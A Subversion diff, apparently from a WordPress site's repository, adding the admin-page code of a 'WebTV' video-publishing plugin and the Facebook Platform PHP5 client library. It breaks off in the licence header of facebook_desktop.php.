+					$options['attemps'] = 3;
+				}
+				if ($options['attemps'] > 6) {
+					$options['attemps'] = 6;
+				}
+			}
+			if (isset($_POST['attemps']) && $_POST['attemps'] == "") {
+				$options['attemps'] = 3;
+			}
+			if (isset($_POST['orderedlist'])) {	
+				$service_order = split("\|", $_POST['orderedlist']);
+				$options['order'] = $service_order;
+			}
+			update_option("webtv",$options);
+			$services = $_POST['service'];
+			foreach ($services as $service_name => $service) {
+				$service_settings = get_option("webtv_".$service_name);
+				$enabled = false;
+				if ($service['enabled'] == 'true') {
+					$enabled = true;
+				}
+				unset($service['enabled']);
+				foreach ($service as $option => $value) {
+					if ($value == "") $enabled = false;
+					$service_settings[$option] = $value;
+				}
+				$service_settings['enabled'] = $enabled;
+				update_option("webtv_".$service_name,$service_settings);
+				
+			}
+			
+		}
+		if ( isset($_POST['cleanupsubmit']) ) {
+			check_admin_referer('webtv-cleanup');
+			global $wpdb, $table_prefix;
+			
+			$query = 'DELETE FROM '.$table_prefix.'options WHERE option_name like "webtv%"'; 
+			$wpdb->query($query);
+			
+			if (isset($_POST['cleanup'])) {
+				
+				$query = 'DELETE FROM '.$table_prefix.'postmeta WHERE meta_key like "webtv%"'; 
+				$wpdb->query($query);
+				echo "<div id=\"message\" class=\"updated fade\"><p>WebTV ha eliminado toda la informaci&oacute;n.</p></div>\n";
+			}
+			echo "<div id=\"message\" class=\"updated fade\"><p>WebTV ha sido desinstalado.</p></div>\n";
+		}
+		?>
+			<div class="wrap">
+				<h2>WebTV Configuration</h2>
+				<form action="<?php $PHP_SELF ?>" method="post" id="webtv-conf">
+					<table class="form-table" style="width:100%;">
+					<?php
+					if ( function_exists('wp_nonce_field') )
+						wp_nonce_field('webtv-config');
+					?>
+						<tr>
+							<th>
+								<label for="attemps"><strong><?=_("How many times do you want to try to publish the video")?>:</strong></label><br/>
+								<small><?=_("Define how many times do you want to try to publish a file to each service configured below.  Default value is 3 times and the maximum number you can use is 6.")?></small>
+							</th>
+							<td valign="top"><input style="width:60px;" type="text" name="attemps" value="<?php if (isset($options['attemps'])) { echo $options['attemps']; } ?>" id="attemps"/>
+							</td>
+						</tr>
+						
+<!-- Service Settings  -->
+						<?php foreach ($options['services'] as $service) { 
+								$settings = get_option("webtv_".$service);
+								if (isset($settings['service_url'])) {
+									$service_name = $settings['service_url'];
+									unset($settings['service_url']);
+								}
+						?>
+						<tr>
+							<th>
+								<label for="<?=$service_name?>"><strong><?=_("Publish to")?> <?=$service_name?>:</strong></label><br/>
+								<small><?=_("Insert your account settings, all the fields are required.")?></small>
+							</th>
+							<td valign="top">
+							<select name="service[<?=$service?>][enabled]">
+								<?php
+								$yes = "selected"; 
+								if (!$settings['enabled']) {
+									$yes = ""; $no = "selected"; 
+								}
+								unset($settings['enabled']);
+								?>
+     							<option <?=$no?>  label="no" value="false">No</option>
+     							<option <?=$yes?> label="yes" value="true">Yes</option>
+     						</select><br/>
+							<?php 
+							$extras = get_option("webtv_".$service."_extras");
+							if ($extras) {
+								foreach ($extras as $type => $extraoptions) { ?>
+								<select name="service[<?=$service?>][<?=$type?>]">	
+									<?php foreach($extraoptions as $idextra => $valueextra) {
+											if ((isset($settings[$type])) && ($idextra == $settings[$type])) { $selected = "selected"; } else $selected = ""; ?>
+											<option <?=$selected?> label="<?=$valueextra?>" value="<?=$idextra?>"><?=$valueextra?></option>
+									<?php } ?>								
+								</select> 
+								<?php
+								echo $type.'<BR/>';
+								unset($settings[$type]);
+								}
+							}
+							foreach ($settings as $option => $value) { 
+							$type = "text"; if ($option == "password") { $type = "password"; }
+							?>
+							<input style="width:100px;" type="<?=$type?>" name="service[<?=$service?>][<?=$option?>]" value="<?=$value?>" id="<?=$option?>_<?=$option?>"/><span class="setting-description"><?=$option?></span><br/>
+							<?php } ?>	
+							</td>
+						 </tr>
+						 <?php } ?>
+<!-- End Service Settings  -->
+					
+						<tr>
+							<th>
+								<label for="attemps"><strong><?=_("Priority on TemplateTag")?>:</strong></label><br/>
+								<small><?=_("If you want to use the webtv_embedcode() template tag into your template, you need to define the order to display the embed code from the different video providers.")?></small>
+							</th>
+							<td valign="top">
+								
+									<table>
+									<tr>
+									<td align="middle">
+									<input type="hidden" name="orderedlist" id="orderedlist" value="" />
+									<?php $j = count($options['services']); ?>
+									<select name="list" id="list" size="<?=$j?>" style="height:<?php echo ($j*2)?>em">
+									<?php 
+									foreach ($options['order'] as $order => $service) {
+									?>
+									<option value="<?=$order?>"><?=$service?></option>
+									<?php } ?>
+									</select><br><br>
+									
+									</td>
+									
+									<td valign="top">
+									<input type="button" value="â"
+									onClick="move(document.getElementById('list').selectedIndex,-1)"><br><br>
+									<input type="button" value="â"
+									onClick="move(document.getElementById('list').selectedIndex,+1)">
+									</td>
+									</tr>
+									</table>
+								
+							
+							</td>
+						</tr>
+				
+
+
+
+
+
+
+					</table>
+					<p style="border:0;" class="submit"><input type="submit" name="submit" value="<?=_("Save")?>" onClick="submitForm()" /></p>					
+				</form>
+
+				<h2><?=_("Uninstall")?></h2>
+				<form action="" method="post" id="webtv-cleanup">
+					<?php if ( function_exists('wp_nonce_field') )
+						wp_nonce_field('webtv-cleanup');  ?>
+					
+					<table class="form-table" style="width:100%;">
+					<tr>
+						<th scope="row" style="width:400px;" valign="top">
+							<p><label for="uninstall"><?=_("Without leaving any data? Use this option to delete all the data stored on Custom Fields")?></label></p>
+						</th>
+						<td>
+							<input type="checkbox" name="cleanup" id="cleanup"/><?=_("Clean")?><br/>
+						</td>
+					</tr>							
+					</table>
+					<p style="border:0;" class="submit"><input type="submit" name="cleanupsubmit" value="<?=_("Clean Up!")?>" /></p>					
+				</form>
+				
+
+			</div>
+			<?php
+	}
+
+	private function webtv_is_admin_page($names) {
+		foreach ( $names as $url )
+			if ( FALSE !== stripos($_SERVER['SCRIPT_NAME'], '/wp-admin/'.$url) )
+				return true;
+
+		return false;
+	}
+
+	function orderlist_js() {
+		
+	?>
+		<script type="text/javascript">
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script>
+		
+	<?php
+		if ( $this->webtv_is_admin_page(array('post.php', 'post-new.php', 'page.php', 'page-new.php')) ) {
+			$url = get_option('siteurl');
+	    	$url .= '/wp-content/plugins/'. dirname(plugin_basename(__FILE__)).'/includes/';
+	      	wp_enqueue_script('webtv-insert',$url. 'webtvhandlers.js',array('swfupload') );	
+	      	global $post_ID, $temp_ID;
+			$post_id = (int) (0 == $post_ID ? $temp_ID : $post_ID);
+	      	$maxsize = $this->return_formatbytes(ini_get('post_max_size'));
+	      	?>
+	      	<script type="text/javascript">
+				var swfu;
+		
+				window.onload = function load_swfupload() {
+					
+					var settings = {
+						flash_url : "<?php echo get_settings('siteurl') . '/wp-includes/js/swfupload/swfupload.swf'?>",
+						upload_url: "<?php echo $url . 'upload.php'?>",
+						post_params: { "auth_cookie" : "<?php if ( is_ssl() ) echo $_COOKIE[SECURE_AUTH_COOKIE]; else echo $_COOKIE[AUTH_COOKIE]; ?>",
+                                       "_wpnonce" : "<?php echo wp_create_nonce('webtv-upload'); ?>",
+                                       "id" : "<?=$post_id?>" },
+						file_size_limit : "<?=$maxsize; ?>",
+						file_types : "*.mp4;*.flv;*.mpg;*.mpeg;*.mov;*.avi;*.3gp;*.wmv;*.m4v;*.qt;*.mpe;*.f4v",
+						file_types_description : "Video Files",
+						file_upload_limit : 5,
+						//custom_settings : {
+							//progressTarget : "fsUploadProgress",
+							//cancelButtonId : "btnCancel"
+						//},
+						debug: false,
+		
+						// Button settings
+						button_image_url: "<?php echo $url . 'SmallSpyGlassWithTransperancy_17x18.png'?>",
+						button_placeholder_id: "spanButtonPlaceHolder",
+						button_width: 140,
+						button_height: 19,
+						button_text : '<span class="button">Select Video <span class="buttonSmall">(<?=	$maxsize; ?> Max)</span></span>',
+						button_text_style : '.button { font-family: Helvetica, Arial, sans-serif; font-size: 12pt; } .buttonSmall { font-size: 10pt; }',
+						button_text_top_padding: 0,
+						button_text_left_padding: 14,
+						button_window_mode: SWFUpload.WINDOW_MODE.TRANSPARENT,
+						button_cursor: SWFUpload.CURSOR.HAND,
+						//handlers
+						file_dialog_complete_handler : webtvfileDialogComplete,
+						upload_start_handler : webtvuploadStart,
+						upload_progress_handler : webtvuploadProgress,
+						upload_error_handler : webtvuploadError,
+						upload_success_handler : webtvuploadSuccess,
+						upload_complete_handler : webtvuploadComplete,
+						
+					};
+					
+					swfu = new SWFUpload(settings);
+			     };
+			     
+			</script>
+	      	
+	      	<?php
+	      	
+      	}
+	}
+	
+	function return_formatbytes($val) {
+	    $val = trim($val);
+	    $last = strtolower(substr($val, -1));
+	    $val = substr($val,0,-1);
+	    switch($last) {
+	        // The 'G' modifier is available since PHP 5.1.0
+	        case 'g':
+	            $val .= ' GB';
+	            break;
+	        case 'm':
+	            $val .= ' MB';
+	            break;
+	        case 'k':
+	            $val .= ' KB';
+	            break;
+	    }
+	
+	    return $val;
+	}
+	
+	
+}
+	
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/facebook.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/facebook.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/facebook.php	(revision 44)
@@ -0,0 +1,598 @@
+<?php
+// Copyright 2004-2009 Facebook. All Rights Reserved.
+//
+// +---------------------------------------------------------------------------+
+// | Facebook Platform PHP5 client                                             |
+// +---------------------------------------------------------------------------+
+// | Copyright (c) 2007 Facebook, Inc.                                         |
+// | All rights reserved.                                                      |
+// |                                                                           |
+// | Redistribution and use in source and binary forms, with or without        |
+// | modification, are permitted provided that the following conditions        |
+// | are met:                                                                  |
+// |                                                                           |
+// | 1. Redistributions of source code must retain the above copyright         |
+// |    notice, this list of conditions and the following disclaimer.          |
+// | 2. Redistributions in binary form must reproduce the above copyright      |
+// |    notice, this list of conditions and the following disclaimer in the    |
+// |    documentation and/or other materials provided with the distribution.   |
+// |                                                                           |
+// | THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR      |
+// | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES |
+// | OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.   |
+// | IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,          |
+// | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT  |
+// | NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, |
+// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY     |
+// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT       |
+// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF  |
+// | THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.         |
+// +---------------------------------------------------------------------------+
+// | For help with this library, contact developers-help@facebook.com          |
+// +---------------------------------------------------------------------------+
+
+include_once 'facebookapi_php5_restlib.php';
+
+define('FACEBOOK_API_VALIDATION_ERROR', 1);
+class Facebook {
+  public $api_client;
+  public $api_key;
+  public $secret;
+  public $generate_session_secret;
+  public $session_expires;
+
+  public $fb_params;
+  public $user;
+  public $profile_user;
+  public $canvas_user;
+  protected $base_domain;
+  /*
+   * Create a Facebook client like this:
+   *
+   * $fb = new Facebook(API_KEY, SECRET);
+   *
+   * This will automatically pull in any parameters, validate them against the
+   * session signature, and chuck them in the public $fb_params member variable.
+   *
+   * @param api_key                  your Developer API key
+   * @param secret                   your Developer API secret
+   * @param generate_session_secret  whether to automatically generate a session
+   *                                 if the user doesn't have one, but
+   *                                 there is an auth token present in the url,
+   */
+  public function __construct($api_key, $secret, $generate_session_secret=false) {
+    $this->api_key                 = $api_key;
+    $this->secret                  = $secret;
+    $this->generate_session_secret = $generate_session_secret;
+    $this->api_client = new FacebookRestClient($api_key, $secret, null);
+    $this->validate_fb_params();
+
+    // Set the default user id for methods that allow the caller to
+    // pass an explicit uid instead of using a session key.
+    $defaultUser = null;
+    if ($this->user) {
+      $defaultUser = $this->user;
+    } else if ($this->profile_user) {
+      $defaultUser = $this->profile_user;
+    } else if ($this->canvas_user) {
+      $defaultUser = $this->canvas_user;
+    }
+
+    $this->api_client->set_user($defaultUser);
+
+
+    if (isset($this->fb_params['friends'])) {
+      $this->api_client->friends_list = explode(',', $this->fb_params['friends']);
+    }
+    if (isset($this->fb_params['added'])) {
+      $this->api_client->added = $this->fb_params['added'];
+    }
+    if (isset($this->fb_params['canvas_user'])) {
+      $this->api_client->canvas_user = $this->fb_params['canvas_user'];
+    }
+  }
+
+  /*
+   * Validates that the parameters passed in were sent from Facebook. It does so
+   * by validating that the signature matches one that could only be generated
+   * by using your application's secret key.
+   *
+   * Facebook-provided parameters will come from $_POST, $_GET, or $_COOKIE,
+   * in that order. $_POST and $_GET are always more up-to-date than cookies,
+   * so we prefer those if they are available.
+   *
+   * For nitty-gritty details of when each of these is used, check out
+   * http://wiki.developers.facebook.com/index.php/Verifying_The_Signature
+   *
+   * @param bool  resolve_auth_token  convert an auth token into a session
+   */
+  public function validate_fb_params($resolve_auth_token=true) {
+    $this->fb_params = $this->get_valid_fb_params($_POST, 48 * 3600, 'fb_sig');
+
+    // note that with preload FQL, it's possible to receive POST params in
+    // addition to GET, so use a different prefix to differentiate them
+    if (!$this->fb_params) {
+      $fb_params = $this->get_valid_fb_params($_GET, 48 * 3600, 'fb_sig');
+      $fb_post_params = $this->get_valid_fb_params($_POST, 48 * 3600, 'fb_post_sig');
+      $this->fb_params = array_merge($fb_params, $fb_post_params);
+    }
+
+    // Okay, something came in via POST or GET
+    if ($this->fb_params) {
+      $user               = isset($this->fb_params['user']) ?
+                            $this->fb_params['user'] : null;
+      $this->profile_user = isset($this->fb_params['profile_user']) ?
+                            $this->fb_params['profile_user'] : null;
+      $this->canvas_user  = isset($this->fb_params['canvas_user']) ?
+                            $this->fb_params['canvas_user'] : null;
+      $this->base_domain  = isset($this->fb_params['base_domain']) ?
+                            $this->fb_params['base_domain'] : null;
+
+      if (isset($this->fb_params['session_key'])) {
+        $session_key =  $this->fb_params['session_key'];
+      } else if (isset($this->fb_params['profile_session_key'])) {
+        $session_key =  $this->fb_params['profile_session_key'];
+      } else {
+        $session_key = null;
+      }
+      $expires     = isset($this->fb_params['expires']) ?
+                     $this->fb_params['expires'] : null;
+      $this->set_user($user,
+                      $session_key,
+                      $expires);
+    }
+    // if no Facebook parameters were found in the GET or POST variables,
+    // then fall back to cookies, which may have cached user information
+    // Cookies are also used to receive session data via the Javascript API
+    else if ($cookies =
+             $this->get_valid_fb_params($_COOKIE, null, $this->api_key)) {
+
+      $base_domain_cookie = 'base_domain_' . $this->api_key;
+      if (isset($_COOKIE[$base_domain_cookie])) {
+        $this->base_domain = $_COOKIE[$base_domain_cookie];
+      }
+
+      // use $api_key . '_' as a prefix for the cookies in case there are
+      // multiple facebook clients on the same domain.
+      $expires = isset($cookies['expires']) ? $cookies['expires'] : null;
+      $this->set_user($cookies['user'],
+                      $cookies['session_key'],
+                      $expires);
+    }
+    // finally, if we received no parameters, but the 'auth_token' GET var
+    // is present, then we are in the middle of auth handshake,
+    // so go ahead and create the session
+    else if ($resolve_auth_token && isset($_GET['auth_token']) &&
+             $session = $this->do_get_session($_GET['auth_token'])) {
+      if ($this->generate_session_secret &&
+          !empty($session['secret'])) {
+        $session_secret = $session['secret'];
+      }
+
+      if (isset($session['base_domain'])) {
+        $this->base_domain = $session['base_domain'];
+      }
+
+      $this->set_user($session['uid'],
+                      $session['session_key'],
+                      $session['expires'],
+                      isset($session_secret) ? $session_secret : null);
+    }
+
+    return !empty($this->fb_params);
+  }
+
+  // Store a temporary session secret for the current session
+  // for use with the JS client library
+  public function promote_session() {
+    try {
+      $session_secret = $this->api_client->auth_promoteSession();
+      if (!$this->in_fb_canvas()) {
+        $this->set_cookies($this->user, $this->api_client->session_key, $this->session_expires, $session_secret);
+      }
+      return $session_secret;
+    } catch (FacebookRestClientException $e) {
+      // API_EC_PARAM means we don't have a logged in user, otherwise who
+      // knows what it means, so just throw it.
+      if ($e->getCode() != FacebookAPIErrorCodes::API_EC_PARAM) {
+        throw $e;
+      }
+    }
+  }
+
+  public function do_get_session($auth_token) {
+    try {
+      return $this->api_client->auth_getSession($auth_token, $this->generate_session_secret);
+    } catch (FacebookRestClientException $e) {
+      // API_EC_PARAM means we don't have a logged in user, otherwise who
+      // knows what it means, so just throw it.
+      if ($e->getCode() != FacebookAPIErrorCodes::API_EC_PARAM) {
+        throw $e;
+      }
+    }
+  }
+
+  // Invalidate the session currently being used, and clear any state associated
+  // with it. Note that the user will still remain logged into Facebook.
+  public function expire_session() {
+    if ($this->api_client->auth_expireSession()) {
+      $this->clear_cookie_state();
+      return true;
+    } else {
+      return false;
+    }
+  }
+
+  /** Logs the user out of all temporary application sessions as well as their
+   * Facebook session.  Note this will only work if the user has a valid current
+   * session with the application.
+   *
+   * @param string  $next  URL to redirect to upon logging out
+   *
+   */
+   public function logout($next) {
+    $logout_url = $this->get_logout_url($next);
+
+    // Clear any stored state
+    $this->clear_cookie_state();
+
+    $this->redirect($logout_url);
+  }
+
+  /**
+   *  Clears any persistent state stored about the user, including
+   *  cookies and information related to the current session in the
+   *  client.
+   *
+   */
+  public function clear_cookie_state() {
+    if (!$this->in_fb_canvas() && isset($_COOKIE[$this->api_key . '_user'])) {
+       $cookies = array('user', 'session_key', 'expires', 'ss');
+       foreach ($cookies as $name) {
+         setcookie($this->api_key . '_' . $name, false, time() - 3600);
+         unset($_COOKIE[$this->api_key . '_' . $name]);
+       }
+       setcookie($this->api_key, false, time() - 3600);
+       unset($_COOKIE[$this->api_key]);
+     }
+
+     // now, clear the rest of the stored state
+     $this->user = 0;
+     $this->api_client->session_key = 0;
+  }
+
+  public function redirect($url) {
+    if ($this->in_fb_canvas()) {
+      echo '<fb:redirect url="' . $url . '"/>';
+    } else if (preg_match('/^https?:\/\/([^\/]*\.)?facebook\.com(:\d+)?/i', $url)) {
+      // make sure facebook.com url's load in the full frame so that we don't
+      // get a frame within a frame.
+      echo "<script type=\"text/javascript\">\ntop.location.href = \"$url\";\n</script>";
+    } else {
+      header('Location: ' . $url);
+    }
+    exit;
+  }
+
+  public function in_frame() {
+    return isset($this->fb_params['in_canvas'])
+        || isset($this->fb_params['in_iframe']);
+  }
+  public function in_fb_canvas() {
+    return isset($this->fb_params['in_canvas']);
+  }
+
+  public function get_loggedin_user() {
+    return $this->user;
+  }
+
+  public function get_canvas_user() {
+    return $this->canvas_user;
+  }
+
+  public function get_profile_user() {
+    return $this->profile_user;
+  }
+
+  public static function current_url() {
+    return 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
+  }
+
+  // require_add and require_install have been removed.
+  // see http://developer.facebook.com/news.php?blog=1&story=116 for more details
+  public function require_login() {
+    if ($user = $this->get_loggedin_user()) {
+      return $user;
+    }
+    $this->redirect($this->get_login_url(self::current_url(), $this->in_frame()));
+  }
+
+  public function require_frame() {
+    if (!$this->in_frame()) {
+      $this->redirect($this->get_login_url(self::current_url(), true));
+    }
+  }
+
+  public static function get_facebook_url($subdomain='www') {
+    return 'http://' . $subdomain . '.facebook.com';
+  }
+
+  public function get_install_url($next=null) {
+    // this was renamed, keeping for compatibility's sake
+    return $this->get_add_url($next);
+  }
+
+  public function get_add_url($next=null) {
+    $page = self::get_facebook_url().'/add.php';
+    $params = array('api_key' => $this->api_key);
+
+    if ($next) {
+      $params['next'] = $next;
+    }
+
+    return $page . '?' . http_build_query($params);
+  }
+
+  public function get_login_url($next, $canvas) {
+    $page = self::get_facebook_url().'/login.php';
+    $params = array('api_key' => $this->api_key,
+                    'v'       => '1.0');
+
+    if ($next) {
+      $params['next'] = $next;
+    }
+    if ($canvas) {
+      $params['canvas'] = '1';
+    }
+
+    return $page . '?' . http_build_query($params);
+  }
+
+  public function get_logout_url($next) {
+    $page = self::get_facebook_url().'/logout.php';
+    $params = array('app_key'     => $this->api_key,
+                    'session_key' => $this->api_client->session_key);
+
+    if ($next) {
+      $params['connect_next'] = 1;
+      $params['next'] = $next;
+    }
+
+    return $page . '?' . http_build_query($params);
+  }
+
+  public function set_user($user, $session_key, $expires=null, $session_secret=null) {
+    if (!$this->in_fb_canvas() && (!isset($_COOKIE[$this->api_key . '_user'])
+                                   || $_COOKIE[$this->api_key . '_user'] != $user)) {
+      $this->set_cookies($user, $session_key, $expires, $session_secret);
+    }
+    $this->user = $user;
+    $this->api_client->session_key = $session_key;
+    $this->session_expires = $expires;
+  }
+
+  public function set_cookies($user, $session_key, $expires=null, $session_secret=null) {
+    $cookies = array();
+    $cookies['user'] = $user;
+    $cookies['session_key'] = $session_key;
+    if ($expires != null) {
+      $cookies['expires'] = $expires;
+    }
+    if ($session_secret != null) {
+      $cookies['ss'] = $session_secret;
+    }
+
+    foreach ($cookies as $name => $val) {
+      setcookie($this->api_key . '_' . $name, $val, (int)$expires, '', $this->base_domain);
+      $_COOKIE[$this->api_key . '_' . $name] = $val;
+    }
+    $sig = self::generate_sig($cookies, $this->secret);
+    setcookie($this->api_key, $sig, (int)$expires, '', $this->base_domain);
+    $_COOKIE[$this->api_key] = $sig;
+
+    if ($this->base_domain != null) {
+      $base_domain_cookie = 'base_domain_' . $this->api_key;
+      setcookie($base_domain_cookie, $this->base_domain, (int)$expires, '', $this->base_domain);
+      $_COOKIE[$base_domain_cookie] = $this->base_domain;
+    }
+  }
+
+  /**
+   * Tries to undo the badness of magic quotes as best we can
+   * @param     string   $val   Should come directly from $_GET, $_POST, etc.
+   * @return    string   val without added slashes
+   */
+  public static function no_magic_quotes($val) {
+    if (get_magic_quotes_gpc()) {
+      return stripslashes($val);
+    } else {
+      return $val;
+    }
+  }
+
+  /*
+   * Get the signed parameters that were sent from Facebook. Validates the set
+   * of parameters against the included signature.
+   *
+   * Since Facebook sends data to your callback URL via unsecured means, the
+   * signature is the only way to make sure that the data actually came from
+   * Facebook. So if an app receives a request at the callback URL, it should
+   * always verify the signature that comes with against your own secret key.
+   * Otherwise, it's possible for someone to spoof a request by
+   * pretending to be someone else, i.e.:
+   *      www.your-callback-url.com/?fb_user=10101
+   *
+   * This is done automatically by verify_fb_params.
+   *
+   * @param  assoc  $params     a full array of external parameters.
+   *                            presumed $_GET, $_POST, or $_COOKIE
+   * @param  int    $timeout    number of seconds that the args are good for.
+   *                            Specifically good for forcing cookies to expire.
+   * @param  string $namespace  prefix string for the set of parameters we want
+   *                            to verify. i.e., fb_sig or fb_post_sig
+   *
+   * @return  assoc the subset of parameters containing the given prefix,
+   *                and also matching the signature associated with them.
+   *          OR    an empty array if the params do not validate
+   */
+  public function get_valid_fb_params($params, $timeout=null, $namespace='fb_sig') {
+    $prefix = $namespace . '_';
+    $prefix_len = strlen($prefix);
+    $fb_params = array();
+    if (empty($params)) {
+      return array();
+    }
+
+    foreach ($params as $name => $val) {
+      // pull out only those parameters that match the prefix
+      // note that the signature itself ($params[$namespace]) is not in the list
+      if (strpos($name, $prefix) === 0) {
+        $fb_params[substr($name, $prefix_len)] = self::no_magic_quotes($val);
+      }
+    }
+
+    // validate that the request hasn't expired. this is most likely
+    // for params that come from $_COOKIE
+    if ($timeout && (!isset($fb_params['time']) || time() - $fb_params['time'] > $timeout)) {
+      return array();
+    }
+
+    // validate that the params match the signature
+    $signature = isset($params[$namespace]) ? $params[$namespace] : null;
+    if (!$signature || (!$this->verify_signature($fb_params, $signature))) {
+      return array();
+    }
+    return $fb_params;
+  }
+
+  /**
+   *  Validates the account that a user was trying to set up an
+   *  independent account through Facebook Connect.
+   *
+   *  @param  user The user attempting to set up an independent account.
+   *  @param  hash The hash passed to the reclamation URL used.
+   *  @return bool True if the user is the one that selected the
+   *               reclamation link.
+   */
+  public function verify_account_reclamation($user, $hash) {
+    return $hash == md5($user . $this->secret);
+  }
+
+  /**
+   * Validates that a given set of parameters match their signature.
+   * Parameters all match a given input prefix, such as "fb_sig".
+   *
+   * @param $fb_params     an array of all Facebook-sent parameters,
+   *                       not including the signature itself
+   * @param $expected_sig  the expected result to check against
+   */
+  public function verify_signature($fb_params, $expected_sig) {
+    return self::generate_sig($fb_params, $this->secret) == $expected_sig;
+  }
+
+  /**
+   * Validate the given signed public session data structure with
+   * public key of the app that
+   * the session proof belongs to.
+   *
+   * @param $signed_data the session info that is passed by another app
+   * @param string $public_key Optional public key of the app. If this
+   *               is not passed, function will make an API call to get it.
+   * return true if the session proof passed verification.
+   */
+  public function verify_signed_public_session_data($signed_data,
+                                                    $public_key = null) {
+
+    // If public key is not already provided, we need to get it through API
+    if (!$public_key) {
+      $public_key = $this->api_client->auth_getAppPublicKey(
+        $signed_data['api_key']);
+    }
+
+    // Create data to verify
+    $data_to_serialize = $signed_data;
+    unset($data_to_serialize['sig']);
+    $serialized_data = implode('_', $data_to_serialize);
+
+    // Decode signature
+    $signature = base64_decode($signed_data['sig']);
+    $result = openssl_verify($serialized_data, $signature, $public_key,
+                             OPENSSL_ALGO_SHA1);
+    return $result == 1;
+  }
+
+  /*
+   * Generate a signature using the application secret key.
+   *
+   * The only two entities that know your secret key are you and Facebook,
+   * according to the Terms of Service. Since nobody else can generate
+   * the signature, you can rely on it to verify that the information
+   * came from Facebook.
+   *
+   * @param $params_array   an array of all Facebook-sent parameters,
+   *                        NOT INCLUDING the signature itself
+   * @param $secret         your app's secret key
+   *
+   * @return a hash to be checked against the signature provided by Facebook
+   */
+  public static function generate_sig($params_array, $secret) {
+    $str = '';
+
+    ksort($params_array);
+    // Note: make sure that the signature parameter is not already included in
+    //       $params_array.
+    foreach ($params_array as $k=>$v) {
+      $str .= "$k=$v";
+    }
+    $str .= $secret;
+
+    return md5($str);
+  }
+
+  public function encode_validationError($summary, $message) {
+    return json_encode(
+               array('errorCode'    => FACEBOOK_API_VALIDATION_ERROR,
+                     'errorTitle'   => $summary,
+                     'errorMessage' => $message));
+  }
+
+  public function encode_multiFeedStory($feed, $next) {
+    return json_encode(
+               array('method'   => 'multiFeedStory',
+                     'content'  =>
+                     array('next' => $next,
+                           'feed' => $feed)));
+  }
+
+  public function encode_feedStory($feed, $next) {
+    return json_encode(
+               array('method'   => 'feedStory',
+                     'content'  =>
+                     array('next' => $next,
+                           'feed' => $feed)));
+  }
+
+  public function create_templatizedFeedStory($title_template, $title_data=array(),
+                                    $body_template='', $body_data = array(), $body_general=null,
+                                    $image_1=null, $image_1_link=null,
+                                    $image_2=null, $image_2_link=null,
+                                    $image_3=null, $image_3_link=null,
+                                    $image_4=null, $image_4_link=null) {
+    return array('title_template'=> $title_template,
+                 'title_data'   => $title_data,
+                 'body_template'=> $body_template,
+                 'body_data'    => $body_data,
+                 'body_general' => $body_general,
+                 'image_1'      => $image_1,
+                 'image_1_link' => $image_1_link,
+                 'image_2'      => $image_2,
+                 'image_2_link' => $image_2_link,
+                 'image_3'      => $image_3,
+                 'image_3_link' => $image_3_link,
+                 'image_4'      => $image_4,
+                 'image_4_link' => $image_4_link);
+  }
+
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/facebook_desktop.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/facebook_desktop.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/facebook_desktop.php	(revision 44)
@@ -0,0 +1,104 @@
+<?php
+// Copyright 2004-2008 Facebook. All Rights Reserved.
+//
+// +---------------------------------------------------------------------------+
+// | Facebook Platform PHP5 client                                             |
+// +---------------------------------------------------------------------------+
+// | Copyright (c) 2007 Facebook, Inc.                                         |
+// | All rights reserved.                                                      |
+// |                                                                           |
+// | Redistribution and use in source and binary forms, with or without        |
+// | modification, are permitted provided that the following conditions        |
+// | are met:                                                                  |
+// |                                                                           |
+// | 1. Redistributions of source code must retain the above copyright         |
+// |    notice, this list of conditions and the following disclaimer.          |
+// | 2. Redistributions in binary form must reproduce the above copyright      |
+// |    notice, this list of conditions and the following disclaimer in the    |
+// |    documentation and/or other materials provided with the distribution.   |
+// |                                                                           |
+// | THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR      |
+// | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES |
+// | OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.   |
